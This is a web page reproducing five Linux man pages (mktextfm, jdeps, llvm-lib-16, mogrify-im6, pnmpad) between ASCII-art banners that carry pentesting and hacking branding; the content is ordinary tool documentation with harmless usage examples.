             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1107 - Linux cli command mktextfm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mktextfm and provides detailed information about the command mktextfm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mktextfm.

NAME 🖥️ mktextfm 🖥️

create a TFM file for a font

SYNOPSIS

mktextfm [options] font

DESCRIPTION

mktextfm is used to generate a tfm file from the Metafont source files for font, or hbf2gf(1), if possible. If destdir is given, the generated file will be installed there, otherwise a (rather complicated) heuristic is used. If the tfm file already exists in the destination location, this is reported and nothing is done.

If a GF (Generic Font) bitmap file is also generated, as is typical with ΜF, it is converted to PK (Packed Font) and installed similarly.

The full pathname of the generated file is printed on standard output.

If available, the mf-nowin(1) variant of Metafont is used to generate fonts to avoid the possibility of online display.

mktextfm is typically called by other programs, via Kpathsea, rather than from the command line.

OPTIONS

mktextfm accepts the following options:

–destdir* dir*
A directory name. If the directory is absolute, it is used as-is. Otherwise, it is appended to the root destination directory set in the script.

–help
Print help message and exit successfully.

–version
Print version information and exit successfully.

ENVIRONMENT

One environment variable is specific to mktextfm: MF_MODE_EXTRA_INFO. If this is set to a non-empty value, a Metafont macro mode_include_extra_info will be invoked when the font is made. The standard modes.mf file defines this, as of modes.mf version 4.0, released in 2020. This causes the so-called Xerox-world information, notably including the CODINGSCHEME for the font, to be included in the tfm file. (This is not done by default since it is too intrusive to redefine the necessary primitives, per Don Knuth.) The mftrace(1) program, for example, can use this to get a clue about the font encoding, although the information is not always perfectly definitive or unambiguous.

For more about the encodings of Metafont fonts, see the section ``Bitmap font encodings’’ in the Dvips manual (e.g., https://tug.org/texinfohtml/dvips.html).

The many other environment variables and various configuration files that control a TeX system also affect the behavior of mktextfm, as usual.

SEE ALSO

mf(1), mktexmf(1), mktexpk(1).

REPORTING BUGS

Report bugs to: [email protected] (https://lists.tug.org/tex-k)
TeX Live home page: https://tug.org/texlive/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1108 - Linux cli command jdeps

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jdeps and provides detailed information about the command jdeps, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jdeps.

NAME 🖥️ jdeps 🖥️

launch the Java class dependency analyzer

SYNOPSIS

jdeps [options] path

options
Command-line options. For detailed descriptions of the options that can be used, see

  • Possible Options

  • Module Dependence Analysis Options

  • Options to Filter Dependences

  • Options to Filter Classes to be Analyzed

path
A pathname to the .class file, directory, or JAR file to analyze.

DESCRIPTION

The jdeps command shows the package-level or class-level dependencies of Java class files. The input class can be a path name to a .class file, a directory, a JAR file, or it can be a fully qualified class name to analyze all class files. The options determine the output. By default, the jdeps command writes the dependencies to the system output. The command can generate the dependencies in DOT language (see the -dotoutput option).

POSSIBLE OPTIONS

-? or -h or --help
Prints the help message.

-dotoutput dir or --dot-output dir
Specifies the destination directory for DOT file output. If this option is specified, then the **jdeps**command generates one .dot file for each analyzed archive named archive-file-name.dot that lists the dependencies, and also a summary file named summary.dot that lists the dependencies among the archive files.

-s or -summary
Prints a dependency summary only.

-v or -verbose
Prints all class-level dependencies. This is equivalent to

-verbose:class -filter:none

-verbose:package
Prints package-level dependencies excluding, by default, dependences within the same package.

-verbose:class
Prints class-level dependencies excluding, by default, dependencies within the same archive.

-apionly or --api-only
Restricts the analysis to APIs, for example, dependences from the signature of public and protected members of public classes including field type, method parameter types, returned type, and checked exception types.

-jdkinternals or --jdk-internals
Finds class-level dependences in the JDK internal APIs. By default, this option analyzes all classes specified in the --classpath option and input files unless you specified the -include option. You can’t use this option with the -p, -e, and -s options.

Warning: The JDK internal APIs are inaccessible.

-cp path, -classpath path, or --class-path path
Specifies where to find class files.

--module-path module-path
Specifies the module path.

--upgrade-module-path module-path
Specifies the upgrade module path.

--system java-home
Specifies an alternate system module path.

--add-modules module-name[, module-name…]
Adds modules to the root set for analysis.

--multi-release version
Specifies the version when processing multi-release JAR files. version should be an integer >=9 or base.

-q or -quiet
Doesn’t show missing dependencies from -generate-module-info output.

-version or --version
Prints version information.

MODULE DEPENDENCE ANALYSIS OPTIONS

-m module-name or --module module-name
Specifies the root module for analysis.

--generate-module-info dir
Generates module-info.java under the specified directory. The specified JAR files will be analyzed. This option cannot be used with --dot-output or --class-path options. Use the --generate-open-module option for open modules.

--generate-open-module dir
Generates module-info.java for the specified JAR files under the specified directory as open modules. This option cannot be used with the --dot-output or --class-path options.

--check module-name [, module-name…]
Analyzes the dependence of the specified modules. It prints the module descriptor, the resulting module dependences after analysis and the graph after transition reduction. It also identifies any unused qualified exports.

--list-deps
Lists the module dependences and also the package names of JDK internal APIs (if referenced). This option transitively analyzes libraries on class path and module path if referenced. Use --no-recursive option for non-transitive dependency analysis.

--list-reduced-deps
Same as --list-deps without listing the implied reads edges from the module graph. If module M1 reads M2, and M2 requires transitive on M3, then M1 reading M3 is implied and is not shown in the graph.

--print-module-deps
Same as --list-reduced-deps with printing a comma-separated list of module dependences. The output can be used by jlink --add-modules to create a custom image that contains those modules and their transitive dependences.

--ignore-missing-deps
Ignore missing dependences.

OPTIONS TO FILTER DEPENDENCES

-p pkg_name, -package pkg_name, or --package pkg_name
Finds dependences matching the specified package name. You can specify this option multiple times for different packages. The -p and -e options are mutually exclusive.

-e regex, -regex regex, or --regex regex
Finds dependences matching the specified pattern. The -p and -e options are mutually exclusive.

--require module-name
Finds dependences matching the given module name (may be given multiple times). The --package, --regex, and --require options are mutually exclusive.

-f regex or -filter regex
Filters dependences matching the given pattern. If give multiple times, the last one will be selected.

-filter:package
Filters dependences within the same package. This is the default.

-filter:archive
Filters dependences within the same archive.

-filter:module
Filters dependences within the same module.

-filter:none
No -filter:package and -filter:archive filtering. Filtering specified via the -filter option still applies.

--missing-deps
Finds missing dependences. This option cannot be used with -p, -e and -s options.

OPTIONS TO FILTER CLASSES TO BE ANALYZED

-include regex
Restricts analysis to the classes matching pattern. This option filters the list of classes to be analyzed. It can be used together with -p and -e, which apply the pattern to the dependencies.

-P or -profile
Shows the profile containing a package.

-R or --recursive
Recursively traverses all run-time dependences. The -R option implies -filter:none. If -p, -e, or -f options are specified, only the matching dependences are analyzed.

--no-recursive
Do not recursively traverse dependences.

-I or --inverse
Analyzes the dependences per other given options and then finds all artifacts that directly and indirectly depend on the matching nodes. This is equivalent to the inverse of the compile-time view analysis and the print dependency summary. This option must be used with the --require, --package, or --regex options.

--compile-time
Analyzes the compile-time view of transitive dependencies, such as the compile-time view of the -R option. Analyzes the dependences per other specified options. If a dependency is found from a directory, a JAR file or a module, all classes in that containing archive are analyzed.

EXAMPLE OF ANALYZING DEPENDENCIES

The following example demonstrates analyzing the dependencies of the Notepad.jar file.

Linux and OS X:

$ jdeps demo/jfc/Notepad/Notepad.jar
Notepad.jar -> java.base
Notepad.jar -> java.desktop
Notepad.jar -> java.logging
   <unnamed> (Notepad.jar)
      -> java.awt
      -> java.awt.event
      -> java.beans
      -> java.io
      -> java.lang
      -> java.net
      -> java.util
      -> java.util.logging
      -> javax.swing
      -> javax.swing.border
      -> javax.swing.event
      -> javax.swing.text
      -> javax.swing.tree
      -> javax.swing.undo

Windows:

C:\Java\jdk1.9.0>jdeps demo\jfc\Notepad\Notepad.jar
Notepad.jar -> java.base
Notepad.jar -> java.desktop
Notepad.jar -> java.logging
   <unnamed> (Notepad.jar)
      -> java.awt
      -> java.awt.event
      -> java.beans
      -> java.io
      -> java.lang
      -> java.net
      -> java.util
      -> java.util.logging
      -> javax.swing
      -> javax.swing.border
      -> javax.swing.event
      -> javax.swing.text
      -> javax.swing.tree
      -> javax.swing.undo

EXAMPLE USING THE –INVERSE OPTION

 $ jdeps --inverse --require java.xml.bind
Inverse transitive dependences on [java.xml.bind]
java.xml.bind <- java.se.ee
java.xml.bind <- jdk.xml.ws
java.xml.bind <- java.xml.ws <- java.se.ee
java.xml.bind <- java.xml.ws <- jdk.xml.ws
java.xml.bind <- jdk.xml.bind <- jdk.xml.ws
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1109 - Linux cli command llvm-lib-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-lib-16 and provides detailed information about the command llvm-lib-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-lib-16.

NAME 🖥️ llvm-lib-16 🖥️

lib - LLVM lib.exe compatible library tool

SYNOPSIS

llvm-lib [/libpath:<path>] [/out:<output>] [/llvmlibthin] [/ignore] [/machine] [/nologo] [files…]

DESCRIPTION

The llvm-lib command is intended to be a lib.exe compatible tool. See https://msdn.microsoft.com/en-us/library/7ykb2k5f for the general description.

llvm-lib has the following extensions:

  • Bitcode files in symbol tables. llvm-lib includes symbols from both bitcode files and regular object files in the symbol table.

  • Creating thin archives. The /llvmlibthin option causes llvm-lib to create thin archive that contain only the symbol table and the header for the various members. These files are much smaller, but are not compatible with link.exe (lld can handle them).

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1110 - Linux cli command mogrify-im6

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mogrify-im6 and provides detailed information about the command mogrify-im6, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mogrify-im6.

NAME 🖥️ mogrify-im6 🖥️

resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. Mogrify overwrites the original image file, whereas, convert-im6.q16(1) writes to a different image file.

SYNOPSIS

mogrify-im6.q16 [options] input-file

OVERVIEW

The mogrify-im6.q16 program is a member of the ImageMagick-ims6.q16(1) suite of tools. Use it to resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. This tool is similar to convert-im6.q16(1) except the original image file is overwritten with any changes you request.

For more information about the mogrify command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/mogrify.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/mogrify.php.

DESCRIPTION

Image Settings: -adjoin join images into a single multi-image file -affine matrix affine transform matrix -alpha option activate, deactivate, reset, or set the alpha channel -antialias remove pixel-aliasing -authenticate value decrypt image with this password -attenuate value lessen (or intensify) when adding noise to an image -background color background color -bias value add bias when convolving an image -black-point-compensation use black point compensation -blue-primary point chromaticity blue primary point -bordercolor color border color -caption string assign a caption to an image -cdl filename color correct with a color decision list -channel type apply option to select image channels -colors value preferred number of colors in the image -colorspace type alternate image colorspace -comment string annotate image with comment -compose operator set image composite operator -compress type type of pixel compression when writing the image -decipher filename convert cipher pixels to plain pixels -define format:option define one or more image format options -delay centiseconds display the next image after pausing -density geometry horizontal and vertical density of the image -depth value image depth -direction type render text right-to-left or left-to-right -display server get image or font from this X server -dispose method layer disposal method -dither method apply error diffusion to image -encipher filename convert plain pixels to cipher pixels -encoding type text encoding type -endian type endianness (MSB or LSB) of the image -family name render text with this font family -features distance analyze image features (e.g. contrast, correlation) -fill color color to use when filling a graphic primitive -filter type use this filter when resizing an image -flatten flatten a sequence of images -font name render text with this font -format type image format type -function name apply a function to the image -fuzz distance colors within this distance are considered equal -gravity type horizontal and vertical text placement -green-primary point chromaticity green primary point -intensity method method to generate intensity value from pixel -intent type type of rendering intent when managing the image color -interlace type type of image interlacing scheme -interline-spacing value set the space between two text lines -interpolate method pixel color interpolation method -interword-spacing value set the space between two words -kerning value set the space between two letters -label string assign a label to an image -limit type value pixel cache resource limit -loop iterations add Netscape loop extension to your GIF animation -mask filename associate a mask with the image -matte store matte channel if the image has one -mattecolor color frame color -metric type measure differences between images with this metric -monitor monitor progress -morphology method kernel apply a morphology method to the image -orient type image orientation -page geometry size and location of an image canvas (setting) -path path write images to this path on disk -ping efficiently determine image attributes -pointsize value font point size -precision value maximum number of significant digits to print -preview type image preview type -quality value JPEG/MIFF/PNG compression level -quiet suppress all warning messages -red-primary point chromaticity red primary point -regard-warnings pay attention to warning messages -remap filename transform image colors to match this set of colors -repage geometry size and location of an image canvas -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -scene value image scene number -seed value seed a new sequence of pseudo-random numbers -size geometry width and height of image -stretch type render text with this font stretch -stroke color graphic primitive stroke color -strokewidth value graphic primitive stroke width -style type render text with this font style -synchronize synchronize image to storage device -taint declare the image as modified -texture filename name of texture to tile onto the image background -tile-offset geometry tile offset -treedepth value color tree depth -transparent-color color transparent color -undercolor color annotation bounding box color -units type the units of image resolution -verbose print detailed information about the image -view FlashPix viewing transforms -virtual-pixel method virtual pixel access method -weight type render text with this font weight -white-point point chromaticity white point

Image Operators: -adaptive-blur geometry adaptively blur pixels; decrease effect near edges -adaptive-resize geometry adaptively resize image with data dependent triangulation -adaptive-sharpen geometry adaptively sharpen pixels; increase effect near edges -alpha option on, activate, off, deactivate, set, opaque, copy transparent, extract, background, or shape -annotate geometry text annotate the image with text -auto-gamma automagically adjust gamma level of image -auto-level automagically adjust color levels of image -auto-orient automatically orient image -bench iterations measure performance -black-threshold value force all pixels below the threshold into black -blue-shift simulate a scene at nighttime in the moonlight -blur geometry reduce image noise and reduce detail levels -border geometry surround image with a border of color -bordercolor color border color -brightness-contrast geometry improve brightness / contrast of the image -cdl filename color correct with a color decision list -canny geometry detect edges in the image -charcoal radius simulate a charcoal drawing -chop geometry remove pixels from the image interior -clamp keep pixel values in range (0-QuantumRange) -clip clip along the first path from the 8BIM profile -clip-mask filename associate a clip mask with the image -clip-path id clip along a named path from the 8BIM profile -colorize value colorize the image with the fill color -color-matrix matrix apply color correction to the image -connected-component connectivity connected-components uniquely labeled -contrast enhance or reduce the image contrast -contrast-stretch geometry improve contrast by `stretching’ the intensity range -convolve coefficients apply a convolution kernel to the image -cycle amount cycle the image colormap -decipher filename convert cipher pixels to plain pixels -deskew threshold straighten an image -despeckle reduce the speckles within an image -distort method args distort images according to given method and args -draw string annotate the image with a graphic primitive -edge radius apply a filter to detect edges in the image -encipher filename convert plain pixels to cipher pixels -emboss radius emboss an image -enhance apply a digital filter to enhance a noisy image -equalize perform histogram equalization to an image -evaluate operator value evaluate an arithmetic, relational, or logical expression -extent geometry set the image size -extract geometry extract area from image -features distance analyze image features (e.g. contrast, correlation) -fft implements the discrete Fourier transform (DFT) -flip flip image vertically -floodfill geometry color floodfill the image with color -flop flop image horizontally -frame geometry surround image with an ornamental border -function name parameters apply function over image values -gamma value level of gamma correction -gaussian-blur geometry reduce image noise and reduce detail levels -geometry geometry preferred size or location of the image -grayscale method convert image to grayscale -ift implements the inverse discrete Fourier transform (DFT) -help print program options -hough-lines geometry identify lines in the image -identify identify the format and characteristics of the image -ift implements the inverse discrete Fourier transform (DFT) -implode amount implode image pixels about the center -lat geometry local adaptive thresholding -layers method optimize or compare image layers -level value adjust the level of image contrast -level-colors color,color level image with the given colors -linear-stretch geometry improve contrast by `stretching with saturation’ the intensity range -liquid-rescale geometry rescale image with seam-carving -magnify double the size of the image with pixel art scaling -mean-shift geometry delineate arbitrarily shaped clusters in the image -median geometry apply a median filter to the image -mode geometry make each pixel the ‘predominant color’ of the neighborhood -modulate value vary the brightness, saturation, and hue -monochrome transform image to black and white -morphology method kernel apply a morphology method to the image -motion-blur geometry simulate motion blur -negate replace each pixel with its complementary color -noise geometry add or reduce noise in an image -normalize transform image to span the full range of colors -opaque color change this color to the fill color -ordered-dither NxN add a noise pattern to the image with specific amplitudes -paint radius simulate an oil painting -perceptible epsilon pixel value less than |epsilon| become epsilon or -epsilon -polaroid angle simulate a Polaroid picture -posterize levels reduce the image to a limited number of color levels -print string interpret string and print to console -profile filename add, delete, or apply an image profile -quantize colorspace reduce colors in this colorspace -radial-blur angle radial blur the image -raise value lighten/darken image edges to create a 3-D effect -random-threshold low,high random threshold the image -region geometry apply options to a portion of the image -render render vector graphics -resample geometry change the resolution of an image -resize geometry resize the image -roll geometry roll an image vertically or horizontally -rotate degrees apply Paeth rotation to the image -sample geometry scale image with pixel sampling -scale geometry scale the image -segment values segment an image -selective-blur geometry selectively blur pixels within a contrast threshold -sepia-tone threshold simulate a sepia-toned photo -set property value set an image property -shade degrees shade the image using a distant light source -shadow geometry simulate an image shadow -sharpen geometry sharpen the image -shave geometry shave pixels from the image edges -shear geometry slide one edge of the image along the X or Y axis -sigmoidal-contrast geometry lightness rescaling using sigmoidal contrast enhancement -sketch geometry simulate a pencil sketch -solarize threshold negate all pixels above the threshold level -sparse-color method args fill in a image based on a few color points -splice geometry splice the background color into the image -spread amount displace image pixels by a random amount -statistic type geometry replace each pixel with corresponding statistic from the neighborhood -strip strip image of all profiles and comments -swirl degrees swirl image pixels about the center -threshold value threshold the image -thumbnail geometry create a thumbnail of the image -tile filename tile image when filling a graphic primitive -tint value tint the image with the fill color -transform affine transform image -transparent color make this color transparent within the image -transpose flip image vertically and rotate 90 degrees -transverse flop image horizontally and rotate 270 degrees -trim trim image edges -type type image type -unique-colors discard all but one of any pixel color -unsharp geometry sharpen the image -vignette geometry soften the edges of the image in vignette style -wave geometry alter an image along a sine wave -wavelet-denoise threshold removes noise from the image using a wavelet transform -white-threshold value force all pixels above the threshold into white

Image Sequence Operators: -affinity filename transform image colors to match this set of colors -append append an image sequence top to botto (use +append for left to right) -clut apply a color lookup table to the image -coalesce merge a sequence of images -combine combine a sequence of images -compare mathematically and visually annotate the difference between an image and its reconstruction -complex operator perform complex mathematics on an image sequence -composite composite image -copy geometry offset, copy pixels from one area of an image to another -crop geometry cut out a rectangular region of the image -deconstruct break down an image sequence into constituent parts -evaluate-sequence operator evaluate an arithmetic, relational, or logical expression -flatten flatten a sequence of images -fx expression apply mathematical expression to an image channel(s) -hald-clut apply a Hald color lookup table to the image -morph value morph an image sequence -mosaic create a mosaic from an image sequence -poly terms build a polynomial from the image sequence and the corresponding terms (coefficients and degree pairs) -process arguments process the image with a custom image filter -separate separate an image channel into a grayscale image -smush geometry smush an image sequence together -write filename write images to this file

Image Stack Operators: -delete indexes delete the image from the image sequence -duplicate count,indexes duplicate an image one or more times -insert index insert last image into the image sequence -reverse reverse image sequence -swap indexes swap two images in the image sequence

Miscellaneous Options: -debug events display copious debugging information -distribute-cache port distributed pixel cache spanning one or more servers -help print program options -log format format of debugging information -list type print a list of supported option arguments -version print version information

By default, the image format of `file’ is determined by its magic number. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1111 - Linux cli command pnmpad

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmpad and provides detailed information about the command pnmpad, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmpad.

.

NAME 🖥️ pnmpad 🖥️

add borders to a PNM image

SYNOPSIS

pnmpad [-color=color [-promote={none|format|all}] |-detect-background |-extend-edge |-white |-black ] [-width=pixels] [-halign=ratio] [-mwidth=pixels] [-left=pixels] [-right=pixels] [-height=pixels] [-valign=ratio] [-mheight=pixels] [-top=pixels] [-bottom=pixels] [-reportonly] [-verbose] [pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnmpad reads a PNM image as input and outputs a PNM image that is the input image plus black or white borders of the sizes specified.

If you just need to convert an image to a certain size regardless of the original dimensions, pamcut with the -pad option may be a better choice.

pnmmargin does essentially the same thing, but allows you to add borders of any color and requires all four borders to be the same size.

You can use pamcomp to add borders of any content - solid color, pattern, or whatever. For example, if you wanted to add 10 pixels of red borders to the top and bottom of a 100x100 image, you could create a 100x120 red image (e.g. with ppmmake) and then use pamcomp to insert your 100x100 image into the center of it.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmpad recognizes the following command line options:

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

**-color=**color
-detect-background
-extend-edge
-white
-black
This specifies the color of the padding. color is like the argument of the pnm_parsecolor() library routine .

-detect-background means the program uses the color of the top left pixel of the input as the pad color. Note that this could cause odd results if you aren’t padding the top or left of the image.

You may specify only one of -white, -black, -color, and -detect-background.

-extend-edge says to pad by duplicating the adjacent edge of the image pixel by pixel. E.g. if the top row of the image is 20 white pixels followed by 10 black pixels, every row of padding added to the top of the image is 20 white pixels followed by 20 black pixels.

By default, the padding is black.

-white and -black are for backward compatibility. -color, -detect-background, and -extend-edge were new with Netpbm 11.05 (December 2023).

**-left=**pixels
**-right=**pixels
**-width=**width
**-halign=**ratio
**-mwidth=**pixels
Specify amount of left and right padding in pixels.

-left and -right directly specify the amount of padding added to the left and right sides, respectively, of the image.

Alternatively, you can specify -width and just one of -left and -right and pnmpad calculates the required padding on the other side to make the output width pixels wide. If the -width value is less than the width of the input image plus the specified padding, pnmpad ignores -width.

If you specify all three of -width, -left, and -right, you must ensure that the -left and -right padding are sufficient to make the image at least as wide as -width specifies, and in that case -width has no effect on the output. Otherwise, pnmpad fails.

When you specify -width without -left or -right, and -width is larger than the input image, pnmpad chooses left and right padding amounts in a certain ratio. That ratio defaults to half, but you can set it to anything (from 0 to 1) with the -halign option. If the input image is already at least as wide as -width specifies, pnmpad adds no padding.

Common values for -halign are:

0.0
left aligned

0.5
center aligned (default)

1.0
right aligned

**-mwidth=**pixels says to pad to a multiple of pixels pixels. E.g. if pixels is 10, the output image width will be a multiple of 10 pixels. pnmpad adds to whatever padding the other options say to do to get to this multiple. It divides that padding between the left and right sides of the image to maintain the ratio the other options produce. E.g. if you say -left=10 -right=10 -mwidth=50 with a 100-pixel image, you end up with a 150-pixel image with the extra padding split evenly between left and right for a total of 25 pixels of padding on the left and 25 on the right. If the other options indicate no padding, pnmpad adds padding in the ratio specified by -halign and if -halign is not specified, equally on both sides.

Before Netpbm 10.97 (December 2021), pnmpad does not allow -halign with -mwidth and adds padding only on the right when -mwidth is specified and the other options indicate no padding.

Before Netpbm 10.72 (September 2015), there is no -mwidth.

Before Netpbm 10.23 (July 2004), pnmpad did not allow the -left or -right option together with -width.

**-top=**pixels
**-bottom=**pixels
**-height=**height
**-valign=**ratio
**-mheight=**pixels
These options determine the vertical padding. They are analogous to the horizontal padding options above.

-promote={none|format|all}
This option tells what to do when the -color option specifies a color that cannot be represented in the input format, which ordinarily is also the output format. For example, if the input is PGM (which can represent only shades of gray), and you specify -color=red, should pnmpad make the padding gray or make the output PPM?

none
Make the output have the same format and maxval as the input. Adjust the pad color to the nearest color possible in that format (black, white, or a shade of gray).

format
Make the output have the same maxval as the input, but make the output format PPM if the pad color is not black, white, or gray.

all
Make the format and maxval of the output capable of representing the pad color. Make the format the least expressive format capable of representing the pad color. Make the maxval the larger of 255 and the maxval of the input image.

The default is -promote=all.

Note that this promotion happens even if no actual padding happens, meaning it isn’t really necessary. The promotion is based on what would be required to represent padding of the specified color.

This option is valid only when you also specify -color.

This option was new in Netpbm 11.05 (December 2023).

-reportonly
This causes pnmpad to write to Standard Output a description of the padding it would have done instead of producing an output image. See below for a description of this output and ways to use it.

This option was new in Netpbm 10.89 (December 2019).

-verbose
This causes verbose messages.

REPORT ONLY

When you specify -reportonly, pnmpad does not produce an output image. Instead, it writes to Standard Output a description of the padding it would have done without -reportonly.

That description is one line of text, containing 6 decimal numbers of pixels, separated by spaces:

  • left padding

  • right padding

  • top padding

  • bottom padding

  • output width

  • output height

Example:

      4 3 0 2 100 100

One use for this is to make padding which is fancier than the black and white that pnmpad can do.

In the following example, we pad an image with 10 pixels of gray all around, without knowing the original image dimensions beforehand. We do this by generating a gray image with pbmmake and then pasting the subject image into the middle of it.

The example uses shell arrays, such as exist in Bash, but not Dash.

    pad=($(pnmpad -reportonly -left=10 -right=10 -top=10 -bottom=10 input.ppm))
    pbmmake -gray ${pad[4]} ${pad[5]} | \
      pnmpaste input.ppm ${pad[0]} ${pad[2]} -

HISTORY

The command line syntax was originally more of a traditional Unix syntax, with single-character margin size options -l, -r, -t, and -b that took arguments concatenated to the option name, such as -l50. This is in contrast to the more modern syntax used by essentially all Netpbm programs, in which an option such as -left (which can still be abbreviated -l) must have its name and value as separate command line arguments (e.g. -l 50).

The new syntax was accepted and the old syntax deprecated and removed from documentation in Netpbm 9.25 (March 2002), and was no longer accepted in Netpbm 11.05 (December 2023).

The code was broken for most of that time so that an attempt to use the old syntax would fail anyway. The bug was discovered only in testing; no user ever reported encountering it.

SEE ALSO

pbmmake(1) , pnmpaste(1) , pamcut(1) , pnmcrop(1) , pamcomp(1) , pnmmargin(1) , pbm(1)

AUTHOR

Copyright (C) 2002 by Martin van Beilen

Copyright (C) 1990 by Angus Duggan

Copyright (C) 1989 by Jef Poskanzer.

